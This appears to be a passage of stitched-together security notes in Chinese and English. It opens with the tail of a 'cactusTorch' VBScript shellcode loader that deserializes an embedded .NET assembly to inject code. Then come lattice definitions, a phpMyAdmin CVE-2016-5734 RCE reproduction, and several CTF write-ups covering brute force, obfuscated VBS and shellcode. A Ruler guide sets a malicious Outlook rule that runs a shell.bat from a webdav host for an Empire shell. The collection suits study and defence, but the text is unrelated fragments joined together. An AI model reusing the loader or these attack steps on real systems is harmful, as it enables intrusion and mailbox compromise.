"ZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dp" s = s & "bmdNb2RlcwBiSW5oZXJpdEhhbmRsZXMAbHBUaHJlYWRBdHRyaWJ1dGVzAGxwUHJvY2Vzc0F0dHJp" s = s & "YnV0ZXMAU2VjdXJpdHlBdHRyaWJ1dGVzAGR3Q3JlYXRpb25GbGFncwBDcmVhdGVQcm9jZXNzRmxh" s = s & "Z3MAZHdGbGFncwBEdXBsaWNhdGVPcHRpb25zAGR3WENvdW50Q2hhcnMAZHdZQ291bnRDaGFycwBU" s = s & "ZXJtaW5hdGVQcm9jZXNzAGhQcm9jZXNzAGxwQmFzZUFkZHJlc3MAbHBBZGRyZXNzAGxwU3RhcnRB" s = s & "ZGRyZXNzAENvbmNhdABPYmplY3QAZmxQcm90ZWN0AGxwRW52aXJvbm1lbnQAQ29udmVydABoU3Rk" s = s & "SW5wdXQAaFN0ZE91dHB1dAB3U2hvd1dpbmRvdwBWaXJ0dWFsQWxsb2NFeABiaW5hcnkAV3JpdGVQ" s = s & "cm9jZXNzTWVtb3J5AGxwQ3VycmVudERpcmVjdG9yeQBvcF9FcXVhbGl0eQBvcF9JbmVxdWFsaXR5" s = s & "AAAAAAABABlQAHIAbwBnAHIAYQBtAFcANgA0ADMAMgAADXcAaQBuAGQAaQByAAAVXABTAHkAcwBX" s = s & "AE8AVwA2ADQAXAAAFVwAUwB5AHMAdABlAG0AMwAyAFwAAAMwAAAARY+bzuLqxE+aSSAzLsphXgAE" s = s & "IAEBCAMgAAEFIAEBEREEIAEBDgQgAQECDgcJHQUYEhwREA4YGAgYBQABHQUOBAABDg4DIAAIBgAD" s = s & "Dg4ODgIGGAMgAA4FAAICDg4EAAEIHAi3elxWGTTgiQQBAAAABAIAAAAEBAAAAAQIAAAABBAAAAAE" s = s & "IAAAAARAAAAABIAAAAAEAAEAAAQAAgAABAAEAAAEAAgAAAQAEAAABAAgAAAEAEAAAAQAgAAABAAA" s = s & "AQAEAAACAAQAAAQABAAACAAEAAAQAAQAACAABAAAAAEEAAAAAgQAAAAEBAAAAAgEAAAAEAQAAAAg" s = s & "BAAAAEAEAAAAgAQAMAAABAAAQAACBggCBgICBgkDBhEUAwYRGAIGBgMGESADBhEkEwAKGA4OEgwS" s = s & "DAIRFBgOEhwQERAKAAUYGBgYESARJAkABQIYGB0FGAgFAAICGAkKAAcYGBgJGBgJGAUgAgEODggB" s = s & "AAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwEIAQACAAAAAAAQAQALQ0FDVFVT" s = s & "VE9SQ0gAAAUBAAAAAAUBAAEAACkBACQ1NjU5OGYxYy02ZDg4LTQ5OTQtYTM5Mi1hZjMzN2FiZTU3" s = s & "NzcAAAwBAAcxLjAuMC4wAAAASDUAAAAAAAAAAAAAYjUAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AFQ1AAAAAAAAAAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACAAEAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAA" s = s & "ADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYQAAANAMAAAAAAAAAAAAANAM0AAAAVgBTAF8A" s = s & "VgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAABAAAAAAAAAAEAAAAAAD8AAAAA" s = s & "AAAABAAAAAIAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQA" s = s & "BAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBJQCAAABAFMAdAByAGkAbgBnAEYAaQBs" s = s & "AGUASQBuAGYAbwAAAHACAAABADAAMAAwADAAMAA0AGIAMAAAADAADAABAEMAbwBtAG0AZQBuAHQA" s = s & "cwAAAEMAQQBDAFQAVQBTAFQATwBSAEMASAAAACIAAQABAEMAbwBtAHAAYQBuAHkATgBhAG0AZQAA" s = s & "AAAAAAAAAEAADAABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAABDAEEAQwBUAFUA" s = s & "UwBUAE8AUgBDAEgAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADEALgAwAC4AMAAu" s = s & "ADAAAABAABAAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEMAQQBDAFQAVQBTAFQATwBSAEMA" s = s & "SAAuAGQAbABsAAAAPAAMAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAQwBBAEMAVABV" s = s & "AFMAVABPAFIAQwBIAAAAKgABAAEATABlAGcAYQBsAFQAcgBhAGQAZQBtAGEAcgBrAHMAAAAAAAAA" s = s & "AABIABAAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQwBBAEMAVABVAFMAVABP" s = s & "AFIAQwBIAC4AZABsAGwAAAA4AAwAAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUAAAAAAEMAQQBDAFQA" s = s & "VQBTAFQATwBSAEMASAAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAw" s = s & "AC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAA" s = s & "LgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAADAAAAwAAAB0NQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" s = s & "AAAAAAAAAAAAAAABDQAAAAQAAAAJFwAAAAkGAAAACRYAAAAGGgAAACdTeXN0ZW0uUmVmbGVjdGlv" s = s & "bi5Bc3NlbWJseSBMb2FkKEJ5dGVbXSkIAAAACgsA" entry_class = "cactusTorch" Dim fmt, al, d, o Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter") Set al = CreateObject("System.Collections.ArrayList") al.Add fmt.SurrogateSelector Set d = fmt.Deserialize_2(Base64ToStream(s)) Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class) o.flame binary,code End Sub SetVersion On Error Resume Next Run If Err.Number <> 0 Then Debug Err.Description Err.Clear End If self.close </script> ``` > Micropoor
sec-knowleage
### 格定义 格是 m 维欧式空间 $R^m$ 的 n ($m\geq n$) 个线性无关向量$b_i(1\leq i \leq n)$ 的所有整系数的线性组合,即 $L(B)=\{\sum\limits_{i=1}^{n}x_ib_i:x_i \in Z,1\leq i \leq n\}$ 这里 B 就是 n 个向量的集合,我们称 - 这 n 个向量是格 L 的一组基。 - 格 L 的秩为 n。 - 格 L 的位数为 m。 如果 m=n,那么我们称这个格式满秩的。 当然,也可以是其它群,不是 $R^m$。 ### 格中successive minima的定义介绍 格是 m 维欧式空间 $R^m$ 的秩为 n 的格,那么 L 的连续最小长度(successive minima)为 $\lambda_1,...,\lambda_n \in R$,满足对于任意的 $1\leq i\leq n$,$\lambda_i$ 是满足格中 i 个线性无关的向量$v_i$, $||v_j||\leq \lambda_i,1\leq j\leq i$ 的最小值。 自然的 $\lambda_i \leq \lambda_j ,\forall i <j$。 ### 格中计算困难性问题概述 **最短向量问题(Shortest Vector Problem,SVP)**:给定格 L 及其基向量 B ,找到格 L 中的非零向量 v 使得对于格中的任意其它非零向量 u,$||v|| \leq ||u||$。 **$\gamma$-近似最短向量问题(SVP-$\gamma$)**:给定格 L,找到格 L 中的非零向量 v 使得对于格中的任意其它非零向量 u,$||v|| \leq \gamma||u||$。 **连续最小长度问题(Successive Minima Problem, SMP)**:给定秩为 n 的格 L,找到格 L 中 n 个线性无关向量 $s_i$,满足 $\lambda_i(L)=||s_i||, 1\leq i \leq n$。 **最短线性无关向量问题(Shortest Independent Vector Problem, SIVP)**:给定一个秩为 n 的格 L,找到格 L 中 n 个线性无关向量 $s_i$,满足$||s_i|| \leq \lambda_n(L), 1\leq i \leq n$。 **唯一最短向量问题(Unique Shortest Vector Problem, uSVP-$\gamma$)**:给定格 L,满足 $ \lambda_2(L) > \gamma \lambda_1(L)$,找到该格的最短向量。 **最近向量问题(Closest Vector Problem,CVP)**:给定格 L和目标向量 $t\in R^m$,找到一个格中的非零向量 v,使得对于格中的任意非零向量 u,满足 $||v-t|| \leq ||u-t||$ 。
sec-knowleage
# PhpMyAdmin 4.0.x—4.6.2 Remote Code Execution Vulnerability (CVE-2016-5734) [中文版本(Chinese version)](README.zh-cn.md) PhpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQL over the Web. The vulnerability is in the `preg_replace` function, because the information submitted by the user can be spliced into the first parameter. Before PHP 5.4.7, the first parameter of `preg_replace` could be truncated with `\0` and the change search pattern to `\e`. It can cause remote code execution vulnerability. Affected versions: - 4.0.x version before 4.0.10.16 - 4.4.x version before 4.4.15.7 - 4.6.x version before 4.6.3 (actually because this version requires PHP5.5+, this vulnerability cannot be reproduced) ## Setup Execute following commands to start PHP 5.3 + Apache + phpMyAdmin 4.4.15.6: ``` docker compose up -d ``` After start, visit `http://your-ip:8080` and you will see the login page of phpMyAdmin. Log in with `root`:`root`. ## Exploit This vulnerability requires login and the permission to write data. We use this POC(https://www.exploit-db.com/exploits/40185/) to reproduce the vulnerability. ``` ./cve-2016-5734.py -c 'system(id);' -u root -p root -d test http://your-ip:8080/ ``` Result: ![](1.png)
sec-knowleage
# Petshop Pro - FLAG1 ## 0x00 Index ![](../flag0/imgs/index.jpg) ## 0x01 Path Scan Used [7kbscan-WebPathBrute][1] and corresponding dir dictionary for path scanning. ![](./imgs/path.jpg) ## 0x02 Admin Login path http://127.0.0.1/xxxxxxxxxx/login ![](./imgs/admin-login.jpg) ## 0x03 Try Login Try with weak password, admin + admin. Shows **Invalid username** error. This can help to brute force admin username. ![](./imgs/invalid_username.jpg) ## 0x04 Get Username Catch the request and send to Intruder. ![](./imgs/burp_username.jpg) With the help of this [username wordlist][2], finally get the admin username. ![](./imgs/username.jpg) ## 0x05 Get Password With pretty much same method as above, here I get the password. ![](./imgs/password.jpg) ## 0x06 FLAG So succefully log in. ``` username=verla password=jester ``` ![](./imgs/flag.jpg) [1]: https://github.com/7kbstorm/7kbscan-WebPathBrute [2]: https://github.com/jeanphorn/wordlist/blob/master/usernames.txt
sec-knowleage
# Combo 100 (forensics/osint/re, 100p, ? solved) W very long multi-stage challenge, no idea what it was worth only 100p. In the challenge we get a 267MB pcap file, so we won't be attaching it. The most indispensible tool to work with pcaps of this size of NetworkMiner. It automatically extracts files, parameters, passwords, messages etc. In the task description there is a mention os some email exchange so we first look at emails extracted from pcap. It turns out those emails are driving the whole challenge from start to the finish. ``` Hi James, Hey! It's been a while! By the way, remember the fishing trip we went to last month, I took some pictures. Here take a look, I attached one. Regards, Bond ``` ``` Hi Bond, Nice picture! Better remember the EXACT place where that picture was taken. You may want to check the lodging we took when we went there. I left a very important note for that thing we've discussed from our fishing trip... which I also attached. Regards, James ``` To one of the emails there is a [picture](Fishing_Trip.jpg) attached. The email mentions to look `exactly` where the picture was taken, so we extract EXIF data and it turns out the picture contains coordinates. This leads us to: https://www.google.com/maps/place/GiethoornTMCTF/@52.7203254,6.0898781,17z/data=!3m1!4b1!4m5!3m4!1s0x47c86f063fec1ef9:0x8d76ad68f8a4424d!8m2!3d52.7203254!4d6.0920668 And there is a marker for `GiethoornTMCTF`, which seems like a clue. The other email contained an [encrypted zip](flag-encrypted.zip). We can decrypt this zip using `GiethoornTMCTF` as password and we get a [strange file](flag-encrypted.txt). We tried to do some analysis of this file, and since charset size is 16 we assumed this might be some substitution cipher over hexencoded bytes, but we were unable to do anything with it. We follow the trail of emails: ``` Hi James, Got the note. Was it supposed to be a gift? Now, I need to know how to make this thing work. For that, I have to know where to find you, could you give me some directions? Regards, Bond ``` ``` Hi Bond, Sure thing. Let's meet then, but I am traveling across Europe man... a Europe Tour!! First, I visited NORWAY, you need to stop by there too, the place is so great! After seeing the sights there, I remembered that I needed to drop some things in LATVIA, but in order to go there, I need to cut across SWEDEN to get there quicker. That is very important because you will only see the direction to LATVIA if you go right in the MIDDLE of SWEDEN. After that, I have to travel all the way to BELARUS, I left my keys there. Or maybe I can just ask FRANCE to fetch it for me so we can go meet in LITHUANIA much earlier. Regards, James ``` Now this part was a bit confusing, because we initially thought they meant actual locations on the map, and we tried to draw something. In the end we first solved the next part before getting back here with better understanding of what we're looking for, but we're describe the solution in proper order. The idea here is to notice in the files downloaded by the user an article [Norway.html](Norway.html) downloaded from `weakipedia`. It seems legit apart from strange parts: ``` <!--SwedenQvz aGJNNXndZapTBYRLCpKQGdpJWNw:aGJNNXndZapTBYRLCpKQGdpJWNw="xlmAZJMejaLkGsMznIss":Vs aGJNNXndZapTBYRLCpKQGdpJWNw="xlmAZJMejaLkGsMznIss"Gura:Raq Vs:Qvz PETahTHZHUFjwEzDRNSweden--> ``` And the emails says `cut across SWEDEN` and `MIDDLE of SWEDEN`. We guessed the idea is to extract the data inside so we proceed with: ```python def main(): data = open("Norway.html").read() print("".join(data.split("Sweden")[1::2]).decode("rot13").replace(":","\n")) main() ``` Now it would be pretty confusing, but from solving later AMERICA and AFRICA steps, we already knew that we're looking for obfuscated VBS code where `:` denote newlines. This way we extract [obfuscated stage1](stage1ob.vbs). This code is `obfuscated` by lots of useless instructions: ```vbscript nTWAAKaqMncGOLEYPcXDTqcWJAj="kyzNMWZrwnYxTfZmaVff" If nTWAAKaqMncGOLEYPcXDTqcWJAj="kyzNMWZrwnYxTfZmaVff"Then End If ``` Such instruction does nothing so we can remove all of them. Finally we get [stage1.vbs](stage1.vbs) and combined with the inputs we got from zip we get [results of stage1](resultstage1.txt). Interestingly enough antivirus and windows defender get triggered by stage1 script after we remove the obfuscation. Now we follow the emails trail to figure out what to do with this: ``` Hi Bond, Just a reminder about what we've talked about. You have to visit NICARAGUA to get that certificate I hid, then head back to USA. That document is very important as you needed for your entry in COLOMBIA. Well, you can visit other countries too with that certificate, like VENEZUELA, ARGENTINA, BRAZIL, even CANADA, and many more. Seems like you'll be having your own tour, an Americas Tour! Regards, James ``` This email mentions some `certificate` and `NICARAGUA` so we dive again in NetworkMiner and we find [a certificate](hidden.cer.html). However when you try to decode it, it doesn't seem to be valid certificate at all. It turns out its just base64 payload, which decoded gives us [stage 2](stage2.vbs). Notice here that this was the first VBS code we found, because this one was only base64 encoded and easy to spot. Only after that we managed to find the EUROPE one. When we combine the code with data we got from stage 1 we get [results of stage 2](resultstage2.txt) which again looks like encoded data. Let's follow the emails: ``` Hi James, Americas tour is a blast! But I feel like the experience ain't complete yet. Am I missing something. Is there anything else I need to know? or perhaps, need to visit? Maybe an African Tour wouldn't be a bad idea? Regards, Bond ``` ``` Hi Bond, Good thing you mention it! We really need to visit Africa, I'm querying some travel blogs, looking for good sights, I must say pyramid of Giza in EGYPT might be a good spot to start, or maybe SUDAN? Oh, did you know that SUDAN has more pyramid than EGYPT? Isn't it crazy? While we're on it, we can visit some neighboring countries along the Mediterranean such as LIBYA, TUNISIA, ALGERIA up to MOROCCO. Regards, James ``` This exchange hints about `querying some travel blogs`, `pyramids`, `Egypt` and `Sudan` so again we check in NetworkMiner if there is anything interesting. And we find interesting GET parameters: ``` /pyramids/images/giza.jpg?query=ctf&sudan=VFVOSVNJQSUzRCUyMnN0cmluZyUyMiUzQVRVTklTSUElM0RyZVBMQUNlJTI4VFVOSVNJQSUyQyUyMi0lMjIlMkMlMjIwJTIyJTI5JTNBVFVOSVNJQSUzRHJlUExBQ2UlMjhUVU5JU0lBJTJDJTIyJTIzJTIyJTJDJTIyMSUyMiUyOSUzQVRVTklTSUElM0RyZVBMQUNlJTI4VFVOSVNJQSUyQyUyMiU3QiUyMiUyQyUyMjIlMjIlMjklM0FUVU5JU0lBJTNEcmVQTEFDZSUyOFRVTklTSUElMkMlMjIlNUQlMjIlMkMlMjIzJTIyJTI5JTNBVFVOSVNJQSUzRHJlUExBQ2UlMjhUVU5JU0lBJTJDJTIyJTJBJTIyJTJDJTIyNCUyMiUyOSUzQVRVTklTSUElM0RyZVBMQUNlJTI4VFVOSVNJQSUyQyUyMiU1QiUyMiUyQyUyMjUlMjIlMjklM0FUVU5JU0lBJTNEcmVQTEFDZSUyOFRVTklTSUElMkMlMjIlN0MlMjIlMkMlMjI2JTIyJTI5JTNBVFVOSVNJQSUzRHJlUExBQ2UlMjhUVU5JU0lBJTJDJTIyJTNEJTIyJTJDJTIyNyUyMiUyOSUzQVRVTklTSUElM0RyZVBMQUNlJTI4VFVOSVNJQSUyQyUyMiUyRiUyMiUyQyUyMjglMjIlMjklM0FUVU5JU0lBJTNEcmVQTEFDZSUyOFRVTklTSUElMkMlMjIlNUMlMjIlMkMlMjI5JTIyJTI5JTNBVFVOSVNJQSUzRFNwTGlUJTI4VFVOSVNJQSUyQyUyMiUyMSUyMiUyOSUzQUZPUiUyMEFMR0VSSUUlM0QxJTIwVE8lMjBVYm9VbkQlMjhUVU5JU0lBJTI5JTNBTU9ST0NDTyUzRE1PUk9DQ08lMkJjSHIlMjhUVU5JU0lBJTI4QUxHRVJJRSUyOSUyRiUyODI1JTJCMjUtMzIlMjklMjklM0FORVhU ``` Decoding this via: ```python print(urllib.unquote(param.decode("base64")).replace(":", "\n")) ``` Gives us [stage3](stage3.vbs) script, which combined with the results from previous stage provide [stage 3 results](resultstage3.txt). Which actually contains a flag! Well at least ascii-art flag (but also true flag in fact). Again we follow the emails: ``` Hi James, I have an idea for our nexxt tour... Asian tour is it. I feel like we shouldd go to these places, since we visitd pyramid in EgHypt, let's visit other wonders in Asia too. So, TYhe Great Wall of China and Taj Mahal in India is a must in ths tour. Then if it''s Okkay with you, from China we move to HongKKong, then Japan, lots of beautifull and historical places... Then we go doWwn t Vietnam, nexXt is Cambodia, then Lao0s,. and Thailancd. Oh I want to see the Petronas twin towWer in MalayYsia, then we move straight to Singapore, so much choices here as well. I want to viist Bali, Indoonesia too. Oww, Philippines is a must see, there are tons oOf nice places. MNaybe there are too much I want to see, can:'t be help, Asia has lots of sights to offer;, well, if it's too repetitive, I can remove one or two from the lsit. Perhaps five itineraries would be enough. I'm so excited for our next tour. Regards, Bond ``` ``` Hi James, Sorry for my last mail, I'm in a car earlier and road is kinda rough... I'm so excited to share you my thoughts and I just can't wait to have a good place to write mail, hence, some typos here and there. I know it ain't necessary but I fix them below. Regards, Bond ----- Original Message ----- From: "Bond Paper" <bond_paper@tmctf.com> To: "Coco James" <coco_james@tmctf.com> Sent: Friday, August 16, 2019 5:53 AM Subject: Re: Hello World! Hi James, I have an idea for our next tour... Asian tour is it. I feel like we should go to these places, since we visited pyramid in Egypt, let's visit other wonders in Asia too. So, The Great Wall of China and Taj Mahal in India is a must in this tour. Then if it's okay with you, from China we move to HongKong, then Japan, lots of beautiful and historical places... Then we go down to Vietnam, next is Cambodia, then Laos, and Thailand. Oh I want to see the Petronas twin tower in Malaysia, then we move straight to Singapore, so much choices here as well. I want to visit Bali, Indonesia too. Oww, Philippines is a must see, there are tons of nice places. Maybe there are too much I want to see, can't be help, Asia has lots of sights to offer, well, if it's too repetitive, I can remove one or two from the list. Perhaps five itineraries would be enough. I'm so excited for our next tour. Regards, Bond ``` This step was quite clear, and we wouldn't really need the email hint for that. The ascii-art flag has very limited charset: ``` Counter({'\x00': 25752, 'H': 12884, '.': 4214, "'": 2008, ';': 1916, ',': 1201, 'Y': 666, 'N': 483, 'X': 481, 'K': 388, '0': 291, '\n': 232, 'O': 160, 'x': 131, 'W': 129, 'o': 117, 'k': 115, 'd': 108, 'c': 72, 'l': 65, ':': 62, 'T': 3, '!': 3, 'y': 3, 'e': 3, 'G': 2, 'a': 2, 'r': 2, 'A': 1, 'Z': 1, 'm': 1, 'ţ': 1, 'F': 1, 'n': 1, 'V': 1, '}': 1, 'M': 1, '˙': 1, '{': 1, 'C': 1, 'i': 1}) ``` So it's quite clear that there are very common characters and characters which appear only a handful of times in the whole picture. From the misspells in the email we can get the list of characters we need to remove, and the coincide with the most common characters in the file. For some reason the misspells contained some of the actual flag characters, and picture contained something like `ţ`, so we just stuck to removing all most common chars and leaving only reasonable charset: ```python def main(): data = open("resultstage3.txt").read() c = collections.Counter(data) print(c) for char, score in c.items(): if score > 50: data = data.replace(char, "") print("".join([c for c in data if c in string.ascii_letters + string.digits + '{}_-!'])) main() ``` Once we remove those characters we finally get: `TMCTF{yey!AmaZinG!VeryGreaT!}`
sec-knowleage
# Predict In this task we get three files `flag.npy`, `X.npy` and `y.npy`. It's pretty obvious given the name of the challenge and the format of the files that we are supposed to learn a classifier based on `X.npy` and `y.npy` that will classify data in `flag.npy` to retrieve the flag. ### Format X shape = `(40000, 50, 50, 3)` Flag shape = `(560, 50, 50, 3)` After inspection of `y.npy` we can see that there are only two classes. Our data is actually a set of images with different animals in them. We have 40k data to learn from. This should easily suffice. I adapted some keras CNN example code to the shapes of the arrays above and tried to decode the flag after each epoch of learning (instead of at the end, this helps with cases of overfitting). For each entry from flag classified as first class I wrote down `0` and `1` otherwise. This string concatenated and converted to ASCII is the final flag. It took around 14 epochs to get the correct flag. Code of the solution is in `get_flag.py`.
sec-knowleage
## Exchange服务 ### 前期准备 * 安装[golang](https://github.com/golang/) * 安装[ruler](https://github.com/sensepost/ruler) * 有效的域用户凭证 ------- ### 简介 Ruler是一款交互式的远程Exchange服务管理工具,其使用MAPI/HTTP或RPC/HTTP协议。主要是用来利用Outlook客户端的一些特性获取shell。 Ruler会尝试与Exchange服务连接,并使用Autodiscover服务来发现相关信息。 ------- ### Ruler可以用来做些什么 Ruler可以用来做很多事情,下面将会列出它的主要功能,也将展示一种利用Ruler反弹shell的方法,仅需要一个有效的用户名和密码来登录Outlook就可以办到。这也是前面为什么我们要碰撞出有效的账户来,这对之后反弹shell非常有用。 办公少不了需要用邮箱,因为他们发文件发通知等需要。 * 枚举有效用户 * 创建新的恶意邮件规则 * 转储全局地址列表(GAL) * 通过表单执行VBScript * 通过Outlook主页执行VBScript 这些功能是不是很奈斯 **进攻前的检查** 关于如何查找邮件结构、添加dns记录等,这里就不详细概述了,留给读者去动手探索。 一旦我们知道了邮件的结构、如何添加了dns记录等信息,我们就可以从exchange服务器检查开始,检查我们是否能够与其通信,以及是否能够验证并打开邮箱。 下面的示例主要取决于你如何编译Ruler,不同操作可能有所不同。 `./ruler --email test@lab.local --verbose check` 执行后会提示输入密码,如果凭证有效,回看到提示说邮箱登录成功。 **查看现有规则** `./ruler --email test@lab.local display` **设置一个Empire会话监听** 这里不会深入探讨如何建立一个Empire或它的listener,你点击[chryzsh](https://chryzsh.gitbooks.io/darthsidious/content/responder/relay.html) 了解。我们应该生成一个.bat的powershell文件,并将其托管到webdav服务器上,而不是使用一个单例程序。 网上有很多关于如何快速建立webdav服务器的指南,细节请Google。 其价值在于可以通过压缩.bat文件,再通过webdav目录来调用,用于逃避AV检测。 以后我会更新这个方法。 **创建规则** ``` ./ruler --email test@lab.local add --name test --trigger shell --location "\\\\webdav.test\\webdav\shell.bat" --send ``` 这个命令的作用是发送一封电子邮件到用户邮箱并触发我们的规则。 值得一提的是用户并不会看到这个邮件,因为它会自动删除的,所以我们不必担心被发现。 **删除&清理规则** 一旦执行将删除邮箱规则!!! ``` ./ruler --email test@lab.local delete --name test ``` **如何防御Ruler的攻击** 1. 为所有用户启用多因素身份验证,特别是那些具有管理权限的用户。 2. 经常检查你的账户是否有非法活动。手动或者使用安全监视工具都行。防御可能没办法做到实时,但也回尽快发现,减少损失。 **如何检测Ruler的攻击** 最简单的方法是使用微软编写的检查脚本(运行需要管理员权限) ``` https://github.com/OfficeDev/O365-InvestigationTooling/blob/master/Get-AllTenantRulesAndForms.ps1 ``` **写在最后** Ruler是一个可以在网络上找到的用来反弹shell的好工具,这里介绍到的知识冰山一角,建议读者自行去探索该工具,也可以更好的理解和体验其强大之处。
sec-knowleage
# filtered-shellcode Category: Binary Exploitation, 160 points ## Description > A program that just runs the code you give it? That seems kinda boring... A binary file was attached. ## Solution When we run the binary, it asks us for code to run: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/filtered-shellcode] └─$ ./fun Give me code to run: ``` Let's see what it does under the hood: ```c undefined4 main(undefined param_1) { int iVar1; char user_input [1000]; char local_15; uint i; undefined1 *local_10; local_10 = &param_1; setbuf(stdout,(char *)0x0); i = 0; local_15 = 0; puts("Give me code to run:"); iVar1 = fgetc(stdin); local_15 = (char)iVar1; while ((local_15 != '\n' && (i < 1000))) { user_input[i] = local_15; iVar1 = fgetc(stdin); local_15 = (char)iVar1; i = i + 1; } if ((i & 1) != 0) { user_input[i] = 0x90; i = i + 1; } execute((int)user_input,i); return 0; } ``` Looks like it reads up to 1000 bytes from the user, then calls `execute`: ```c void execute(int user_input,int input_len) { int iVar1; uint uVar2; uint uVar3; undefined4 uStack48; undefined dest_buf [8]; undefined *local_24; undefined *local_20; uint local_1c; uint local_18; int local_14; uint i; int alignment; uStack48 = 0x8048502; if ((user_input != 0) && (input_len != 0)) { local_18 = input_len * 2; local_1c = local_18; uVar2 = (local_18 + 0x10) / 0x10; alignment = uVar2 * -0x10; local_20 = dest_buf + alignment; local_14 = 0; i = 0; while (iVar1 = local_14, i < local_18) { uVar3 = (uint)((int)i >> 0x1f) >> 0x1e; if ((int)((i + uVar3 & 3) - uVar3) < 2) { local_14 = local_14 + 1; dest_buf[i + alignment] = *(undefined *)(user_input + iVar1); } else { dest_buf[i + alignment] = 0x90; } i = i + 1; } dest_buf[local_18 + alignment] = 0xc3; local_24 = dest_buf + alignment; (&uStack48)[uVar2 * -4] = 0x80485cb; (*(code *)(dest_buf + alignment))(); return; } /* WARNING: Subroutine does not return */ exit(1); } ``` We can see that this function somehow manipulates our input, then calls it as code. What is this manipulation? We can try to analyze the code but it would be very helpful to just run an example and check the result in the debugger. We'll enter `abcdefgh` as the input, and set a breakpoint at `(*(code *)(dest_buf + alignment))()` - right before the program jumps to our manipulated shellcode. ``` gef> b *0x080485c9 Breakpoint 1 at 0x80485c9 gef> r Starting program: /media/sf_CTFs/pico/filtered-shellcode/fun Give me code to run: abcdefgh Breakpoint 1, 0x080485c9 in execute () [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd570 → 0x90906261 $ebx : 0xffffd590 → 0xf7fb65e0 → 0x00000000 $ecx : 0xffffd570 → 0x90906261 $edx : 0xffffd570 → 0x90906261 $esp : 0xffffd570 → 0x90906261 $ebp : 0xffffd5b8 → 0xffffd9c8 → 0x00000000 $esi : 0xf7fb5000 → 0x001e4d6c $edi : 0xf7fb5000 → 0x001e4d6c $eip : 0x080485c9 → <execute+211> call eax $eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0xffffd570│+0x0000: 0x90906261 ← $esp 0xffffd574│+0x0004: 0x90906463 0xffffd578│+0x0008: 0x90906665 0xffffd57c│+0x000c: 0x90906867 0xffffd580│+0x0010: 0xf7fb5dc3 → 0x000000f7 0xffffd584│+0x0014: 0xf7ddac28 → 0x000031ea 0xffffd588│+0x0018: 0x00000014 0xffffd58c│+0x001c: 0x08048502 → <execute+12> add eax, 0x1afe ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ──── 0x80485c0 